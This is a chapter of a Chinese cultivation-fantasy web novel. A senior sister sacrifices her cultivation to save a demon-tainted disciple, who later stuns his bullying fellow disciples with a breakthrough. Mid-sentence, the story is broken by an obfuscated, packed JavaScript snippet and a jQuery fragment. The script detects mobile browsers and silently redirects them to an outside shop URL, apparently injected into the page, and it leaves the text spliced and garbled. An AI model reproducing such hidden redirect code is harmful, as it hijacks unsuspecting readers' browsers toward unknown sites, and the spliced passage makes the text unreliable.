“师……师姐……”少年滞涩出声,赤红的眼底带着无尽绝望。
“闭嘴!”司卿猛地抽回手,指尖因过度用力而深深掐进掌心,留下几道清晰的血痕。
她敛去眼底情绪,轻阖双眸,体内的丝丝灵力如涓涓细流,不顾一切地涌向权无心被魔气侵蚀的筋脉。
魔气感受到灵力的冲击,愈发猖狂地翻腾起来,如墨汁滴入清水,更加肆无忌惮地侵染着权无心的筋脉,那缕缕黑气不断向四周蔓延,几乎要爬遍少年全身。
“师姐……好疼……”断断续续的声音从权无心干裂的唇间逸出,微弱得几乎听不见。
司卿的额间渗出汗珠逐渐凝成冰晶,心底早已涟漪不断——这咒术来自昆仑,而真神的禁制,凡人无解!
除非……
而眼前的少年佝偻着身子,趴在冰面上不停咳血,他的生机正一寸寸被魔气吞噬……
不!
绝对不可以!
不知怎的,一个念头在她灵魂深处轰然炸响,瞬间抽空了她所有的力气,整个人几乎站立不稳。
这真神禁咒,是她亲手种下的,以无上神力为锁,本意是隔绝天地邪祟侵蚀,护他一年周全。
然而此刻,这坚不可摧的锁链,却成了勒紧他脖颈的绞索,成了隔绝他最后一线生机的壁垒!
为何?为何会这样?
本该还有一年……整整一年!
是她……是她亲手将他推到了这万劫不复的悬崖边上!
无解?真的无解吗?
这两个字在她混乱的脑海里疯狂冲撞,带着冰冷的嘲讽,激起一片片猩红的浪。
不!这世间,焉有真正无解之局?
思及此,司卿的指尖无意识地抚过灵田,那里蕴藏着磅礴精纯的千年修为。
末了,她轻叹一声,伸出右手,食指与中指并拢,指尖凝聚起异常纯粹的光芒。
下一刻,光华轻轻点落在少年紧蹙的眉心之间,触感冰凉,却又仿佛点燃了某种沉寂的火焰。
“权飏,我虽不知你与阜阳尊者有何来往,但,你若身殒,则万事休。”
司卿的声音轻得如同叹息,却又似洞外的雪风,每一个字都清晰无比地烙印在洞中凝滞的空气里,“青山在,何患无薪!”
话音落下的刹那,司卿灵田深处那浩瀚如海的百年道基,轰然决堤,顺着她点在权无心眉心的指尖,毫无保留地倾泻注入。
不消片刻,权无心脸上的死灰色一点点地褪去,紧蹙的眉峰也无意识地舒展开来。
“你体内的咒术暂时被压制住了,我会为你寻新的术法祛除魔气。切记,在此期间不得擅自修炼,亦不得动用金乌之力!”
说话间,司卿走向洞口的步子轻飘飘的,几乎没有声音,权无心却觉得每一步都无比沉重。
离洞口越来越近,天光从外面泼洒进来,勾勒出司卿单薄的剪影,清晰地映照出她褪尽了所有血色的侧脸轮廓,以及仍在轻颤的指尖。
次日,权无心照常盘坐于蒲垫上默念清心诀。
香刚燃烬半寸,房门却突然被人用力踹开,惊吓之余,权无心还未起身,门外却猛地袭来一道凌厉的风刃,他垂眸扫过手背,血痕刺目。
“师兄,弟子自觉不曾有何错处,你怎不分青红皂白便出手伤人?”
“哼!小魔物,你在这装什么可怜?”燕文修大步走来,一脚踩住权无心的袍角,语气不善,“你可知,师姐方才早膳时呕了血,别说你不知道,昨日师姐从寒玉/洞中出来后便不对劲。此事,你必要给我一个交代!”
燕文修手中的玉箫嗡嗡作响,似乎下一刻便要刺入权无心胸口,方解他眼底怒意。
权无心抿了抿唇,沉默着擦去滴在蒲垫上的血迹,泛着冷光的玉箫却猛地抵住他的喉结,让他不得动弹:“师姐若是出了事,我必让你死无葬身之地!”
玉箫收回时,凌厉的杀气倏地划破权无心领口处的衣襟,露出他心口处狰狞的黑色纹路。
“你要是还有一丝良心,自己找个地方悄悄去了便好,非得拖累师姐为你损耗半生修为。人呐!可不能太自私!”
燕文修鄙夷地瞥了一眼权无心,甩袖而去,嘲弄的嗓音随着夜风攀上少年耳廓,“师姐她只差一步便能飞升成仙,哪里是你这种不伦不类的魔物能亵渎的?”
权无心依旧垂眸盯着蒲垫上还未擦净的血迹,良久后才喃喃道:“师兄教训的是。”
自此,司卿随烛尘尊者在松苑闭关半载,派中事宜皆交由风渊尊者掌管。
演武场上,与权无心比试的弟子不是失手打偏冰锥,在权无心颈侧划出血痕,就是无意震碎权无心的木剑,让他狼狈离去。
“权师弟这招‘春风拂柳’,怎么拂了三年还像老妪扫雪?”
紫衣青年的嘲弄混着剑锋破空声在山涧回荡,他手中灵剑挽出七朵虚影,将权无心逼得步步后退,“听说,你昨夜擅闯后山禁地?”
权无心的桃木剑横在胸前,剑身被对面男子释放出的灵力激出几道细密的裂纹。
他右膝处的血渍落在青砖上,洇开朵朵暗色,声音却平稳得可怕:“高师兄,你怎知我昨夜去了禁地?莫不是你也去了后山……”
高允冷哼一声,手中的剑气愈加凌厉起来:“小魔物!谁给你的胆,敢对本皇子出言不逊!”
权无心紧紧握着手中快要碎成三截的木剑,强忍着体内翻涌的金乌之力,咬牙出声:“高师兄,燕师兄曾经说过,灵霄峰上只有师兄弟……”
“嘶!”
一旁的黄衣女子斜倚着石柱,指尖弹出一粒石子击向权无心脚踝,后者的右脚猛地向外折去,随即半跪在高允面前,手中的木剑也在跪地的瞬间断成三截。
“用了三年才破筑基的废物,倒会逞口舌之快。”说罢,黄衣女子伸手轻轻拍了拍身旁的莫绾凝,“小师妹,你说呢?”
莫绾凝刚要出声,忽见权无心手中的桃木剑柄爆出耀目金光,她猛地瞪大了双眼,一脸不可置信的样子。
少年腕间的金乌纹如活物游走,本该断裂的木剑突然生出剑刃,一举刺破七重剑影,剑尖堪堪停在高允喉前。
与此同时,练武场的青石地面轰然龟裂,剑气卷起的狂风掀飞了几丈外的雪松。
“权师弟!”莫绾凝紧了紧腰间的双鱼玉佩,她望着权无心眉心逐渐变红的血纹,有些失声道:“你……你何时突破的凝丹?”
“不可能!”高允的剑穗被削去半截,他僵着脑袋,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643586|188168||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冷汗顺着下颌尽数滴在剑刃上,“燕师兄明明说过,你这辈子只会留在筑基……”
权无心连眼皮都没有抬,听到高允那夹杂着恐惧的质疑,他唇角只是极其细微地向上牵动了一下。
“筑基?呵!”嗤笑声落下的瞬间,权无心手腕极其随意地一翻,那截枯枝般的木剑在他手中轻巧地划过半弧。
轰——!!!
以他立足之地为中心,一股肉眼可见的、近乎实质的淡青色气浪,如同无形的海啸巨墙,猛地向周围排开!
空气被瞬间挤压、扭曲,直至发出不堪重负的爆鸣。
“噗噗噗噗噗……”
悬挂在廊檐下的七彩琉璃灯,连悲鸣都来不及发出,便同时炸开,无数晶莹的碎片被狂暴的气流卷起,劈头盖脸地泼洒向周遭的人群。
整个练武场在短短一息之间,从流光溢彩的仙境,沦为了遍地狼藉的废墟,只剩下一种庞大到令人窒息的死寂,沉沉地压在每一个弟子的心头。
一张张脸上凝固着与高允如出一辙的惊骇与茫然,他们的目光死死追随着那个走向石门的灰色背影,仿佛在目送一个刚从牢笼中挣脱而出的怪物。
“瞧见没?不过区区三月时间,那小魔……咳!权师弟他竟然突破了!”
“可他不是才突破筑基吗?这修炼速度,也太邪门了吧!”
“你们知道什么!权飏乃烛尘尊者座下弟子,这修行的功法自然不凡,又岂是我等能探知的?”
“怪不得,高师兄可是元婴中期的修为,居然败给了一个刚突破凝丹初期的弟子,如此便说得通了。”
“呵!要我说,权飏本就是个妖孽,听说他体内有传说中的金乌之力,可不是破境如饮水?投机取巧罢了!”
“金乌之力?那不是传说中只属于真神的神力吗?”
“他一个魔物,体内怎会有神力?”
“嘘——小声点儿!高师兄的脸色……”
“……”
弟子们压低的议论声,像一群钻入耳道的毒蜂,嗡嗡振翅,刮擦着高允的耳膜,直刺脑髓。
当下,一股阴冷的酸意,混合着岩浆般灼烫的耻辱,自胃底凶猛地翻涌上来,几乎要冲破喉咙。
高允强行咽下,喉结艰难地滚动了一下,口腔里弥漫开铁锈般的腥甜。
那个低贱的小魔物!
那团本该在阴暗角落腐烂的污秽!
凭什么?凭什么那个小魔物这么快就能突破凝丹!
就在刚才,权飏释放出的气息扫过他身体的瞬间,他只觉体内气血逆流,连金丹都好似停滞住了。那感觉,无异于将他这位陵国三皇子的脸面,狠狠摁在泥泞里摩擦!
“师弟?”黄衣女子察觉到他气息的剧烈波动,低声唤道。
高允闻声抬眸,眼底深处没有属于皇室的矜持与克制,有的只是疯狂燃烧的妒火与屈辱。
凝丹又如何?
就算权飏突破至元婴,也改不了他是魔物的本质!
“哼!”高允冷哼一声后,化作一道模糊的虚影,带起股股冷冽的劲风,狠狠刮过众人面颊。
入夜,一道紫色身影迅速消失在通往后山禁地的幽暗小径尽头,像一滴浓墨坠入了更深的黑暗。